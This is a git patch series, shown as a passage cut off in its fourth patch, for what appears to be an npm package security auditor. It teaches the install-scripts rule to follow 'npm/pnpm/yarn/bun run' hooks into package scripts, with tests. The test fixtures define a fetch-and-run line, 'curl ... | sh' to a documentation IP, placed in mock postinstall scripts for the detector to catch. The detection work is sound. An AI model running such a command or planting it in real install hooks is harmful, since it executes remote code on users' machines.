From 90a036d9961cf62e47b0fca7ede2403217405d95 Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 13:01:50 +0200 Subject: [PATCH 1/9] fix(core): follow npm/pnpm/yarn run into package scripts in install-scripts A lifecycle hook such as `postinstall: "npm run setup"` was not followed into `scripts.setup`, so a payload executed by that script was rated low instead of critical. The resolver now follows `npm|pnpm run `, `npm run-script ` and `yarn [run] ` (yarn bare form only when the script is defined) and scans the script body as a command line. Recursion is bounded at 8 script hops and each name is followed once per hook, so self-referencing scripts terminate and work stays linear. Closes #85 --- docs/adr/0056-security-audit-hardening.md | 5 +- packages/core/src/rules/install-scripts.ts | 36 ++++++++-- packages/core/test/security-npm-run.test.ts | 78 +++++++++++++++++++++ 3 files changed, 111 insertions(+), 8 deletions(-) create mode 100644 packages/core/test/security-npm-run.test.ts diff --git a/docs/adr/0056-security-audit-hardening.md b/docs/adr/0056-security-audit-hardening.md index f695ab6..426286e 100644 --- a/docs/adr/0056-security-audit-hardening.md +++ b/docs/adr/0056-security-audit-hardening.md @@ -280,8 +280,9 @@ and `transferRequestBytes` take `currentChallengeId`. critical finding, and re-import is refused once native history exists. The operator's remedy is a policy exception for that name (or relaxing the repository constraint) until a new release is published with provenance. -- Detection gaps left for follow-up: `npm run ` is not followed into - `scripts[]`, `.`/`source` are not treated as interpreters, bare +- Detection gaps left for follow-up (`npm run ` was closed in #85: `npm|pnpm run`, + `npm run-script` and `yarn [run] ` are followed into `scripts[]`, 8 hops deep, + each name once, and `yarn ` only when defined): `.`/`source` are not treated as interpreters, bare `-r`/`NODE_OPTIONS` specifiers and extension-less preload paths are not resolved, command words are not looked up in bundled `node_modules/.bin`, and the overflow fallback stays regex-based. Other rules still scan those diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index d827119..6839d6d 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -32,7 +32,7 @@ export const installScriptsRule: Rule = { } const findings: Finding[] = []; - const referencedFiles = makeResolver(input.files); + const referencedFiles = makeResolver(input.files, scripts); for (const hook of LIFECYCLE) { const cmd = scripts[hook]; @@ -162,7 +162,7 @@ interface TrieNode { * nothing, and all work is linear in the command and total path length: exact paths * through a Map, JS suffixes through a reverse component trie (O(token components)). */ -function makeResolver(files: PackageFile[]): (cmd: string) => PackageFile[] { +function makeResolver(files: PackageFile[], scripts: Record): (cmd: string) => PackageFile[] { let byPath: Map | undefined; let trie: TrieNode | undefined; const exact = (p: string) => (byPath ??= new Map(files.map((f) => [f.path, f] as const))).get(p); @@ -222,11 +222,28 @@ function makeResolver(files: PackageFile[]): (cmd: string) => PackageFile[] { const isPrefix = (words: string[], i: number) => /^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(words[i]!) || (i > 0 && WRAPPERS.has(words[i - 1]!) && words[i]!.startsWith("-")); - /** Scan one command line; `sh -c ""` code is scanned again as a command line (depth-bounded, so linear). */ - const scan = (cmd: string, out: Set, depth: number): void => { + // Script names already followed in this resolution: a self-referencing script terminates and each runs once. + let followed = new Set(); + /** The script a package-manager command runs (`npm run x`, `yarn x`), or undefined. `yarn x` counts only when `x` is defined. */ + const scriptRef = (words: string[], i: number): string | undefined => { + const pm = trimPunct(words[i]!); + const pmName = pm.slice(pm.lastIndexOf("/") + 1); + if (pmName !== "npm" && pmName !== "pnpm" && pmName !== "yarn") return undefined; + const args = words.slice(i + 1).filter((w) => !w.startsWith("-")); // `npm run --silent x` + const explicit = pmName === "yarn" ? args[0] === "run" : args[0] === "run" || args[0] === "run-script"; + const name = args[explicit ? 1 : 0]; + if (!name || (!explicit && pmName !== "yarn") || !Object.hasOwn(scripts, name) || typeof scripts[name] !== "string") return undefined; + return name; + }; + + /** + * Scan one command line; `sh -c ""` code is scanned again as a command line (depth-bounded, so linear). + * A followed `scripts[name]` body is scanned the same way, at most MAX_SCRIPT_HOPS scripts deep. + */ + const scan = (cmd: string, out: Set, depth: number, hops = 0): void => { // Quote tracking can only ADD coverage: a stray apostrophe (`# it's`) must not hide later commands, // so the plain split is scanned too, and `$(...)` / backtick bodies are scanned as command lines. - if (depth < MAX_INLINE_DEPTH) for (const body of substitutionBodies(cmd)) scan(body, out, depth + 1); + if (depth < MAX_INLINE_DEPTH) for (const body of substitutionBodies(cmd)) scan(body, out, depth + 1, hops); for (const simple of new Set([...splitSimpleCommands(cmd), ...cmd.split(SIMPLE_COMMAND_SPLIT)])) { const rawWords = simple.split(/\s+/).filter(Boolean); const words = rawWords.map(unquote); @@ -251,6 +268,11 @@ function makeResolver(files: PackageFile[]): (cmd: string) => PackageFile[] { } const command = words[i]; if (!command) continue; + const ref = scriptRef(words, i); + if (ref !== undefined && hops < MAX_SCRIPT_HOPS && !followed.has(ref)) { + followed.add(ref); + scan(scripts[ref]!, out, depth, hops + 1); + } const name = trimPunct(command); const interpreter = name.slice(name.lastIndexOf("/") + 1); const inline = Object.hasOwn(INLINE_FLAG, interpreter) ? INLINE_FLAG[interpreter] : undefined; @@ -292,7 +314,7 @@ function makeResolver(files: PackageFile[]): (cmd: string) => PackageFile[] { j = end; } code = unquote(code); - if (inline === SHELL_INLINE && depth < MAX_INLINE_DEPTH) scan(code, out, depth + 1); + if (inline === SHELL_INLINE && depth < MAX_INLINE_DEPTH) scan(code, out, depth + 1, hops); else { // Non-shell inline code (`node -e "require('./x.js')"`): code-extension names inside still count. for (const cw of code.split(/\s+/)) { @@ -325,12 +347,14 @@ function makeResolver(files: PackageFile[]): (cmd: string) => PackageFile[] { return (cmd) => { const out = new Set(); + followed = new Set(); scan(cmd, out, 0); return [...out]; }; } const MAX_INLINE_DEPTH = 3; +const MAX_SCRIPT_HOPS = 8; // `npm run a` -> `npm run b` -> ... : a chain deeper than this is not followed const isPunct = (c: string | undefined) => c === "(" || c === ")" || c === '"' || c === "'" || c === "`"; /** Trim quote/paren punctuation from both ends with two pointers (a `)+$` regex is quadratic on `)))…x`). */ diff --git a/packages/core/test/security-npm-run.test.ts b/packages/core/test/security-npm-run.test.ts new file mode 100644 index 0000000..9a9e303 --- /dev/null +++ b/packages/core/test/security-npm-run.test.ts @@ -0,0 +1,78 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { runRules } from "../src/index.js"; +import type { AuditInput, PackageFile } from "../src/types.js"; + +// A lifecycle hook that runs `npm run ` is followed into `scripts[]`. + +const CURL_SH = "curl -s http://198.51.100.1/x | sh"; // RFC 5737 documentation address +const PAYLOAD = `${CURL_SH}\n`; + +function file(path: string, content: string): PackageFile { + return { path, content, size: Buffer.byteLength(content), changed: false }; +} +function inputFor(files: Record, pkgJson: object): AuditInput { + const list = Object.entries(files).map(([p, c]) => file(p, c)); + list.push(file("package/package.json", JSON.stringify(pkgJson))); + return { + meta: { + name: "probe", version: "1.0.0", author: null, maintainers: [], license: null, + hasInstallScripts: false, signature: "unknown", provenance: "unknown", integrity: null, + unpackedSize: 0, fileCount: list.length, + }, + files: list, + mode: "full", + }; +} +const sev = (files: Record, scripts: Record) => + runRules(inputFor(files, { scripts })).filter((x) => x.ruleId === "install-scripts").map((x) => x.severity); + +describe("install hooks follow package-manager script references", () => { + const files = { "package/setup.js": PAYLOAD }; + for (const hook of ["npm run setup", "pnpm run setup", "yarn run setup", "yarn setup", "npm run-script setup", "npm run setup -- --flag", "npm run --silent setup"]) { + test(`\`${hook}\` reaches the payload in setup.js`, () => { + assert.deepEqual(sev(files, { postinstall: hook, setup: "node setup.js" }), ["critical"]); + }); + } + + test("a reference inside a compound command is followed", () => { + assert.deepEqual(sev(files, { postinstall: "echo hi && npm run setup", setup: "node setup.js" }), ["critical"]); + }); + + test("`npm run build` with a benign build script stays clean", () => { + assert.deepEqual(sev({ "package/build.js": "console.log(1)\n", "package/setup.js": PAYLOAD }, { postinstall: "npm run build", build: "node build.js" }), ["low"]); + }); + + test("an undefined script name resolves nothing", () => { + assert.deepEqual(sev(files, { postinstall: "npm run setup" }), ["low"]); + }); + + test("`yarn install` is a builtin, not a script, unless one is defined", () => { + const f = { "package/setup.js": PAYLOAD }; + assert.deepEqual(sev(f, { postinstall: "yarn install" }), ["low"]); + // `install` itself is critical; `postinstall` is too only because `yarn install` now names a defined script. + assert.deepEqual(sev(f, { postinstall: "yarn install", install: "node setup.js" }), ["critical", "critical"]); + }); + + test("`pnpm ` is not followed (only `pnpm run`)", () => { + assert.deepEqual(sev(files, { postinstall: "pnpm setup", setup: "node setup.js" }), ["low"]); + }); + + test("a self-referencing script terminates", () => { + assert.deepEqual(sev(files, { postinstall: "npm run a", a: "npm run a" }), ["low"]); + assert.deepEqual(sev(files, { postinstall: "npm run a", a: "npm run b", b: "npm run a && node setup.js" }), ["critical"]); + }); + + test("chained scripts resolve within the depth limit, and a very long chain is bounded", () => { + assert.deepEqual(sev(files, { postinstall: "npm run a", a: "npm run b", b: "node setup.js" }), ["critical"]); + const scripts: Record = { postinstall: "npm run s0" }; + for (let i = 0; i < 20000; i++) scripts[`s${i}`] = `npm run s${i + 1}`; + scripts.s20000 = "node setup.js"; + assert.deepEqual(sev(files, scripts), ["low"]); // beyond the hop bound: no crash, no resolution + }); + + test("inherited object keys are not scripts", () => { + assert.deepEqual(sev(files, { postinstall: "npm run constructor" }), ["low"]); + assert.deepEqual(sev(files, { postinstall: "yarn toString" }), ["low"]); + }); +}); From 54fe2877bec1f2e2d18fb804f3b3b5e0dbf02e59 Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 13:03:52 +0200 Subject: [PATCH 2/9] fix(core): scan followed script bodies and pre/post hooks in install-scripts A followed `scripts[]` body now gets the same inline-danger check as the hook text, so `postinstall: "npm run setup"` with `setup: "curl ... | sh"` is critical. The finding evidence names the followed script. `npm|pnpm|yarn run ` also follows a defined `pre` and `post`, under the same hop limit and visited set. Bare `yarn ` still needs `` itself defined. Refs #85 --- packages/core/src/rules/install-scripts.ts | 42 ++++++++++++++------- packages/core/test/security-npm-run.test.ts | 27 +++++++++++++ 2 files changed, 56 insertions(+), 13 deletions(-) diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index 6839d6d..9754b4c 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -38,18 +38,24 @@ export const installScriptsRule: Rule = { const cmd = scripts[hook]; if (typeof cmd !== "string" || !cmd) continue; // npm ignores non-string hooks; one must not throw the rule away - // What does the lifecycle command itself do? - const inlineDangers = DANGER_IN_SCRIPT.filter((d) => d.re.test(cmd)); + // If it runs a local script file or a package script, inspect those too. + const { files: referenced, scripts: followed } = referencedFiles(cmd); - // If it runs a local script file, inspect that file's contents too. - const referenced = referencedFiles(cmd); + // What does the lifecycle command itself do? Followed script bodies get the same check. + const inlineDangers = DANGER_IN_SCRIPT.filter((d) => d.re.test(cmd)); + const followedDangers = followed.flatMap(([name, body]) => + DANGER_IN_SCRIPT.filter((d) => d.re.test(body)).map((d) => ({ + why: d.why, + ev: { file: "package/package.json", snippet: `"${name}": "${truncate(body, 120)}"` }, + })), + ); const fileDangers = referenced.flatMap((f) => DANGER_IN_SCRIPT.flatMap((d) => scanLines(f, d.re, 2).map((ev) => ({ why: d.why, ev })), ), ); - if (inlineDangers.length === 0 && fileDangers.length === 0) { + if (inlineDangers.length === 0 && fileDangers.length === 0 && followedDangers.length === 0) { findings.push( mkFinding({ ruleId: this.id, @@ -64,10 +70,11 @@ export const installScriptsRule: Rule = { } const reasons = [ - ...new Set([...inlineDangers.map((d) => d.why), ...fileDangers.map((d) => d.why)]), + ...new Set([...inlineDangers, ...followedDangers, ...fileDangers].map((d) => d.why)), ]; const evidence = [ { file: "package/package.json", snippet: `"${hook}": "${truncate(cmd, 120)}"` }, + ...followedDangers.map((d) => d.ev), ...fileDangers.map((d) => d.ev), ]; findings.push( @@ -162,7 +169,7 @@ interface TrieNode { * nothing, and all work is linear in the command and total path length: exact paths * through a Map, JS suffixes through a reverse component trie (O(token components)). */ -function makeResolver(files: PackageFile[], scripts: Record): (cmd: string) => PackageFile[] { +function makeResolver(files: PackageFile[], scripts: Record): (cmd: string) => { files: PackageFile[]; scripts: [string, string][] } { let byPath: Map | undefined; let trie: TrieNode | undefined; const exact = (p: string) => (byPath ??= new Map(files.map((f) => [f.path, f] as const))).get(p); @@ -224,6 +231,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c // Script names already followed in this resolution: a self-referencing script terminates and each runs once. let followed = new Set(); + let followedBodies: [string, string][] = []; /** The script a package-manager command runs (`npm run x`, `yarn x`), or undefined. `yarn x` counts only when `x` is defined. */ const scriptRef = (words: string[], i: number): string | undefined => { const pm = trimPunct(words[i]!); @@ -232,8 +240,9 @@ function makeResolver(files: PackageFile[], scripts: Record): (c const args = words.slice(i + 1).filter((w) => !w.startsWith("-")); // `npm run --silent x` const explicit = pmName === "yarn" ? args[0] === "run" : args[0] === "run" || args[0] === "run-script"; const name = args[explicit ? 1 : 0]; - if (!name || (!explicit && pmName !== "yarn") || !Object.hasOwn(scripts, name) || typeof scripts[name] !== "string") return undefined; - return name; + if (!name || (!explicit && pmName !== "yarn")) return undefined; + // Bare `yarn x` is a script only when `x` is defined (`yarn install` is a builtin); `npm run x` follows pre/post even without `x`. + return explicit || Object.hasOwn(scripts, name) ? name : undefined; }; /** @@ -269,9 +278,15 @@ function makeResolver(files: PackageFile[], scripts: Record): (c const command = words[i]; if (!command) continue; const ref = scriptRef(words, i); - if (ref !== undefined && hops < MAX_SCRIPT_HOPS && !followed.has(ref)) { - followed.add(ref); - scan(scripts[ref]!, out, depth, hops + 1); + // npm, pnpm and yarn v1 also run a defined `pre` and `post` around ``. + if (ref !== undefined && hops < MAX_SCRIPT_HOPS) { + for (const n of [`pre${ref}`, ref, `post${ref}`]) { + const body = Object.hasOwn(scripts, n) ? scripts[n] : undefined; + if (typeof body !== "string" || followed.has(n)) continue; + followed.add(n); + followedBodies.push([n, body]); + scan(body, out, depth, hops + 1); + } } const name = trimPunct(command); const interpreter = name.slice(name.lastIndexOf("/") + 1); @@ -348,8 +363,9 @@ function makeResolver(files: PackageFile[], scripts: Record): (c return (cmd) => { const out = new Set(); followed = new Set(); + followedBodies = []; scan(cmd, out, 0); - return [...out]; + return { files: [...out], scripts: followedBodies }; }; } diff --git a/packages/core/test/security-npm-run.test.ts b/packages/core/test/security-npm-run.test.ts index 9a9e303..d07216f 100644 --- a/packages/core/test/security-npm-run.test.ts +++ b/packages/core/test/security-npm-run.test.ts @@ -71,6 +71,33 @@ describe("install hooks follow package-manager script references", () => { assert.deepEqual(sev(files, scripts), ["low"]); // beyond the hop bound: no crash, no resolution }); + test("an inline payload in the followed script body is critical, and the evidence names the script", () => { + const findings = runRules(inputFor({}, { scripts: { postinstall: "npm run setup", setup: CURL_SH } })) + .filter((x) => x.ruleId === "install-scripts"); + assert.deepEqual(findings.map((x) => x.severity), ["critical"]); + assert.ok(findings[0]!.evidence.some((e) => e.snippet.startsWith('"setup":'))); + for (const hook of ["pnpm run setup", "yarn run setup", "yarn setup", "npm run-script setup"]) { + assert.deepEqual(sev({}, { postinstall: hook, setup: CURL_SH }), ["critical"]); + } + // chained, and bounded like the file case + assert.deepEqual(sev({}, { postinstall: "npm run a", a: "npm run b", b: CURL_SH }), ["critical"]); + }); + + test("a payload in `prebuild` / `postbuild` reached through `npm run build` is critical", () => { + assert.deepEqual(sev({}, { postinstall: "npm run build", build: "tsc", prebuild: CURL_SH }), ["critical"]); + assert.deepEqual(sev({}, { postinstall: "pnpm run build", build: "tsc", postbuild: CURL_SH }), ["critical"]); + assert.deepEqual(sev({}, { postinstall: "yarn build", build: "tsc", prebuild: CURL_SH }), ["critical"]); + assert.deepEqual(sev({}, { postinstall: "yarn build", prebuild: CURL_SH }), ["low"]); // bare yarn needs `build` defined + assert.deepEqual(sev(files, { postinstall: "npm run build", build: "tsc", prebuild: "node setup.js" }), ["critical"]); + // pre/post of an undefined main script still run + assert.deepEqual(sev({}, { postinstall: "npm run build", prebuild: CURL_SH }), ["critical"]); + }); + + test("a benign `prebuild` stays clean; `pre` is not run for an unrelated name", () => { + assert.deepEqual(sev({ "package/clean.js": "console.log(1)\n" }, { postinstall: "npm run build", build: "tsc", prebuild: "node clean.js" }), ["low"]); + assert.deepEqual(sev({}, { postinstall: "npm run build", build: "tsc", preother: CURL_SH }), ["low"]); + }); + test("inherited object keys are not scripts", () => { assert.deepEqual(sev(files, { postinstall: "npm run constructor" }), ["low"]); assert.deepEqual(sev(files, { postinstall: "yarn toString" }), ["low"]); From 8d3b982c35135745ca98e9ba39e3accee81f2b93 Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 13:05:43 +0200 Subject: [PATCH 3/9] fix(core): harden script following in install-scripts Track the fewest hops at which each script was scanned and rescan a name reached at a strictly lower hop count, so a path that first hit a script at the hop limit cannot hide it from a shorter path. Parse package-manager command lines more completely: skip value-taking options with their value (--prefix, -C/--dir, --cwd, -w/--workspace, -F/--filter, --loglevel), treat test/start/stop/restart as script references for npm and pnpm, accept the npm aliases rum and urn, and follow bare `pnpm ` and `bun run ` only when the script is defined. Refs #85 --- packages/core/src/rules/install-scripts.ts | 49 +++++++++++++++------ packages/core/test/security-npm-run.test.ts | 46 ++++++++++++++++++- 2 files changed, 79 insertions(+), 16 deletions(-) diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index 9754b4c..40dbd07 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -229,20 +229,36 @@ function makeResolver(files: PackageFile[], scripts: Record): (c const isPrefix = (words: string[], i: number) => /^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(words[i]!) || (i > 0 && WRAPPERS.has(words[i - 1]!) && words[i]!.startsWith("-")); - // Script names already followed in this resolution: a self-referencing script terminates and each runs once. - let followed = new Set(); + // Fewest script hops at which each name was scanned: a self-referencing script terminates, and a name first + // reached at the hop limit (children out of reach) is rescanned when a shorter path reaches it. + let followed = new Map(); let followedBodies: [string, string][] = []; - /** The script a package-manager command runs (`npm run x`, `yarn x`), or undefined. `yarn x` counts only when `x` is defined. */ + /** + * The script a package-manager command runs (`npm run x`, `pnpm -C . x`, `yarn test`), or undefined. + * Bare `yarn x` / `pnpm x` and `bun run x` count only when `x` is defined (`yarn install` is a builtin). + */ const scriptRef = (words: string[], i: number): string | undefined => { const pm = trimPunct(words[i]!); const pmName = pm.slice(pm.lastIndexOf("/") + 1); - if (pmName !== "npm" && pmName !== "pnpm" && pmName !== "yarn") return undefined; - const args = words.slice(i + 1).filter((w) => !w.startsWith("-")); // `npm run --silent x` - const explicit = pmName === "yarn" ? args[0] === "run" : args[0] === "run" || args[0] === "run-script"; - const name = args[explicit ? 1 : 0]; - if (!name || (!explicit && pmName !== "yarn")) return undefined; - // Bare `yarn x` is a script only when `x` is defined (`yarn install` is a builtin); `npm run x` follows pre/post even without `x`. - return explicit || Object.hasOwn(scripts, name) ? name : undefined; + if (pmName !== "npm" && pmName !== "pnpm" && pmName !== "yarn" && pmName !== "bun") return undefined; + const args: string[] = []; + for (let k = i + 1; k < words.length && args.length < 2 && words[k] !== "--"; k++) { + const w = words[k]!; + if (!w.startsWith("-")) args.push(w); + else if (PM_VALUE_OPTS.has(w) && !(w === "-w" && pmName !== "npm")) k++; // pnpm's `-w` is a boolean + } + const [a0, a1] = args; + if (!a0) return undefined; + let name: string | undefined; + let explicit = false; // explicit: `pre`/`post` run even when `` itself is undefined + if (pmName === "npm" ? NPM_RUN.has(a0) : a0 === "run" || a0 === "run-script") { + name = a1; + explicit = pmName !== "bun"; + } else if (pmName === "npm" || pmName === "pnpm") { + if (LIFECYCLE_CMDS.has(a0)) { name = a0; explicit = true; } + else if (pmName === "pnpm") name = a0; + } else if (pmName === "yarn") name = a0; + return name && (explicit || Object.hasOwn(scripts, name)) ? name : undefined; }; /** @@ -282,9 +298,10 @@ function makeResolver(files: PackageFile[], scripts: Record): (c if (ref !== undefined && hops < MAX_SCRIPT_HOPS) { for (const n of [`pre${ref}`, ref, `post${ref}`]) { const body = Object.hasOwn(scripts, n) ? scripts[n] : undefined; - if (typeof body !== "string" || followed.has(n)) continue; - followed.add(n); - followedBodies.push([n, body]); + const seen = followed.get(n); + if (typeof body !== "string" || (seen !== undefined && seen <= hops + 1)) continue; + followed.set(n, hops + 1); + if (seen === undefined) followedBodies.push([n, body]); scan(body, out, depth, hops + 1); } } @@ -362,7 +379,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c return (cmd) => { const out = new Set(); - followed = new Set(); + followed = new Map(); followedBodies = []; scan(cmd, out, 0); return { files: [...out], scripts: followedBodies }; @@ -370,6 +387,10 @@ function makeResolver(files: PackageFile[], scripts: Record): (c } const MAX_INLINE_DEPTH = 3; +// Options that take a separate value word, skipped with it (`npm --prefix . run x`). +const PM_VALUE_OPTS = new Set(["--prefix", "-C", "--dir", "--cwd", "--workspace", "-w", "--filter", "-F", "--loglevel"]); +const NPM_RUN = new Set(["run", "run-script", "rum", "urn"]); +const LIFECYCLE_CMDS = new Set(["test", "start", "stop", "restart"]); // `npm test` runs scripts.test const MAX_SCRIPT_HOPS = 8; // `npm run a` -> `npm run b` -> ... : a chain deeper than this is not followed const isPunct = (c: string | undefined) => c === "(" || c === ")" || c === '"' || c === "'" || c === "`"; diff --git a/packages/core/test/security-npm-run.test.ts b/packages/core/test/security-npm-run.test.ts index d07216f..24054d0 100644 --- a/packages/core/test/security-npm-run.test.ts +++ b/packages/core/test/security-npm-run.test.ts @@ -54,8 +54,15 @@ describe("install hooks follow package-manager script references", () => { assert.deepEqual(sev(f, { postinstall: "yarn install", install: "node setup.js" }), ["critical", "critical"]); }); - test("`pnpm ` is not followed (only `pnpm run`)", () => { - assert.deepEqual(sev(files, { postinstall: "pnpm setup", setup: "node setup.js" }), ["low"]); + test("bare `pnpm ` and `bun run ` are followed only when the script is defined", () => { + assert.deepEqual(sev(files, { postinstall: "pnpm setup", setup: "node setup.js" }), ["critical"]); + assert.deepEqual(sev(files, { postinstall: "bun run setup", setup: "node setup.js" }), ["critical"]); + assert.deepEqual(sev(files, { postinstall: "pnpm setup" }), ["low"]); + assert.deepEqual(sev(files, { postinstall: "pnpm install" }), ["low"]); + // `bun` is also an interpreter, so use inline payloads (no setup.js file) to isolate script lookup + assert.deepEqual(sev({}, { postinstall: "bun run setup", setup: CURL_SH }), ["critical"]); + assert.deepEqual(sev({}, { postinstall: "bun run setup" }), ["low"]); + assert.deepEqual(sev({}, { postinstall: "bun setup", setup: CURL_SH }), ["low"]); }); test("a self-referencing script terminates", () => { @@ -98,6 +105,41 @@ describe("install hooks follow package-manager script references", () => { assert.deepEqual(sev({}, { postinstall: "npm run build", build: "tsc", preother: CURL_SH }), ["low"]); }); + test("a script first reached at the hop limit is rescanned when a shorter path reaches it", () => { + const scripts: Record = { postinstall: "npm run c1 && npm run p", p: "npm run q", q: CURL_SH }; + for (let i = 1; i < 7; i++) scripts[`c${i}`] = `npm run c${i + 1}`; + scripts.c7 = "npm run p"; // long path: p sits at the hop limit, so its child q is out of reach + assert.deepEqual(sev({}, { ...scripts, postinstall: "npm run c1" }), ["low"]); + assert.deepEqual(sev({}, scripts), ["critical"]); // the short path reaches q + }); + + test("options with values are skipped before the subcommand", () => { + for (const hook of [ + "npm --prefix . run setup", "npm --prefix=. run setup", "npm -w pkg run setup", "npm --workspace pkg run setup", + "npm --loglevel silent run setup", "pnpm -C . run setup", "pnpm --dir . run setup", "pnpm --filter foo run setup", + "pnpm -F foo setup", "pnpm -w run setup", "yarn --cwd . setup", "yarn --cwd . run setup", + ]) { + assert.deepEqual(sev(files, { postinstall: hook, setup: "node setup.js" }), ["critical"], hook); + } + }); + + test("test / start / stop / restart are script references", () => { + for (const name of ["test", "start", "stop", "restart"]) { + for (const pm of ["npm", "pnpm"]) { + assert.deepEqual(sev(files, { postinstall: `${pm} ${name}`, [name]: "node setup.js" }), ["critical"], `${pm} ${name}`); + } + assert.deepEqual(sev(files, { postinstall: `yarn ${name}`, [name]: "node setup.js" }), ["critical"], `yarn ${name}`); + assert.deepEqual(sev(files, { postinstall: `npm ${name}` }), ["low"], `undefined ${name}`); + } + assert.deepEqual(sev({}, { postinstall: "npm test", pretest: CURL_SH }), ["critical"]); + }); + + test("npm aliases `rum` and `urn` are `run`", () => { + for (const alias of ["rum", "urn"]) { + assert.deepEqual(sev(files, { postinstall: `npm ${alias} setup`, setup: "node setup.js" }), ["critical"], alias); + } + }); + test("inherited object keys are not scripts", () => { assert.deepEqual(sev(files, { postinstall: "npm run constructor" }), ["low"]); assert.deepEqual(sev(files, { postinstall: "yarn toString" }), ["low"]); From 7002fe8b40d66e09a401a451dcdecd30011cfd05 Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 13:12:13 +0200 Subject: [PATCH 4/9] refactor(core): follow package scripts by name with a worklist Replace the precise npm/pnpm/yarn command-line parser with deliberate over-following. After `npm`, `pnpm`, `yarn` or `bun`, every word that names a defined script is followed (also after `--` and unknown options), together with its `pre` and `post` scripts. `t`, `tst`, `it` and `install-test` map to `test`, and `restart` also follows `stop` and `start`. A false positive needs the followed script itself to be dangerous; a missed script that runs would be a bypass. Followed scripts are scanned from a worklist with a visited set instead of recursion, so each script is scanned once, the work is bounded by the number of scripts, and a very long chain cannot overflow the stack. The hop limit is gone. Bump AUDIT_REVISION to 3: rule semantics changed, so audits persisted before script following must be recomputed. Refs #85 --- docs/adr/0056-security-audit-hardening.md | 7 +- packages/core/src/audit.ts | 2 +- packages/core/src/rules/install-scripts.ts | 81 ++++------ packages/core/test/security-npm-run.test.ts | 159 +++++++------------- 4 files changed, 92 insertions(+), 157 deletions(-) diff --git a/docs/adr/0056-security-audit-hardening.md b/docs/adr/0056-security-audit-hardening.md index 426286e..2e18b58 100644 --- a/docs/adr/0056-security-audit-hardening.md +++ b/docs/adr/0056-security-audit-hardening.md @@ -280,9 +280,10 @@ and `transferRequestBytes` take `currentChallengeId`. critical finding, and re-import is refused once native history exists. The operator's remedy is a policy exception for that name (or relaxing the repository constraint) until a new release is published with provenance. -- Detection gaps left for follow-up (`npm run ` was closed in #85: `npm|pnpm run`, - `npm run-script` and `yarn [run] ` are followed into `scripts[]`, 8 hops deep, - each name once, and `yarn ` only when defined): `.`/`source` are not treated as interpreters, bare +- Detection gaps left for follow-up (`npm run ` was closed in #85, by deliberate over-following: + after `npm`, `pnpm`, `yarn` or `bun`, every word that names a defined script is followed with its + `pre`/`post` scripts, each script once from a worklist, and its body gets the hook's inline-danger + check; `AUDIT_REVISION` is 3): `.`/`source` are not treated as interpreters, bare `-r`/`NODE_OPTIONS` specifiers and extension-less preload paths are not resolved, command words are not looked up in bundled `node_modules/.bin`, and the overflow fallback stays regex-based. Other rules still scan those diff --git a/packages/core/src/audit.ts b/packages/core/src/audit.ts index e296a5b..33432ba 100644 --- a/packages/core/src/audit.ts +++ b/packages/core/src/audit.ts @@ -26,7 +26,7 @@ import type { VulnAdvisory } from "./vuln-corpus.js"; export const ENGINE_VERSION = "0.1.0-alpha.2"; /** Bump whenever rule or extraction semantics change: cached and stored audits from another revision are recomputed. */ -export const AUDIT_REVISION = 2; +export const AUDIT_REVISION = 3; /** Run the heuristic rule pipeline over an already-extracted package. */ export function runRules(input: AuditInput): Finding[] { diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index 40dbd07..106f6cc 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -229,46 +229,38 @@ function makeResolver(files: PackageFile[], scripts: Record): (c const isPrefix = (words: string[], i: number) => /^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(words[i]!) || (i > 0 && WRAPPERS.has(words[i - 1]!) && words[i]!.startsWith("-")); - // Fewest script hops at which each name was scanned: a self-referencing script terminates, and a name first - // reached at the hop limit (children out of reach) is rescanned when a shorter path reaches it. - let followed = new Map(); - let followedBodies: [string, string][] = []; + // Package scripts reached from a command line, scanned from a worklist (not recursion): each name once, so + // the work is bounded by the number of scripts and a long chain cannot overflow the stack. + let visited = new Set(); + let queue: [string, string][] = []; + const enqueue = (n: string) => { + const body = Object.hasOwn(scripts, n) ? scripts[n] : undefined; + if (typeof body === "string" && !visited.has(n)) { visited.add(n); queue.push([n, body]); } + }; /** - * The script a package-manager command runs (`npm run x`, `pnpm -C . x`, `yarn test`), or undefined. - * Bare `yarn x` / `pnpm x` and `bun run x` count only when `x` is defined (`yarn install` is a builtin). + * Deliberate over-following: after `npm`/`pnpm`/`yarn`/`bun`, every word that names a script is followed, + * wherever it sits (after `--` or an unknown option too), with its `pre`/`post` scripts. Following a script + * that does not run costs a false positive only if that script is itself dangerous; missing one that runs is a bypass. */ - const scriptRef = (words: string[], i: number): string | undefined => { - const pm = trimPunct(words[i]!); - const pmName = pm.slice(pm.lastIndexOf("/") + 1); - if (pmName !== "npm" && pmName !== "pnpm" && pmName !== "yarn" && pmName !== "bun") return undefined; - const args: string[] = []; - for (let k = i + 1; k < words.length && args.length < 2 && words[k] !== "--"; k++) { - const w = words[k]!; - if (!w.startsWith("-")) args.push(w); - else if (PM_VALUE_OPTS.has(w) && !(w === "-w" && pmName !== "npm")) k++; // pnpm's `-w` is a boolean + const followScriptWords = (words: string[], from: number): void => { + for (let j = from; j < words.length; j++) { + const w = PM_ALIAS[words[j]!] ?? words[j]!; + for (const n of w === "restart" ? ["restart", "stop", "start"] : [w]) { + if (!Object.hasOwn(scripts, n)) continue; + enqueue(`pre${n}`); + 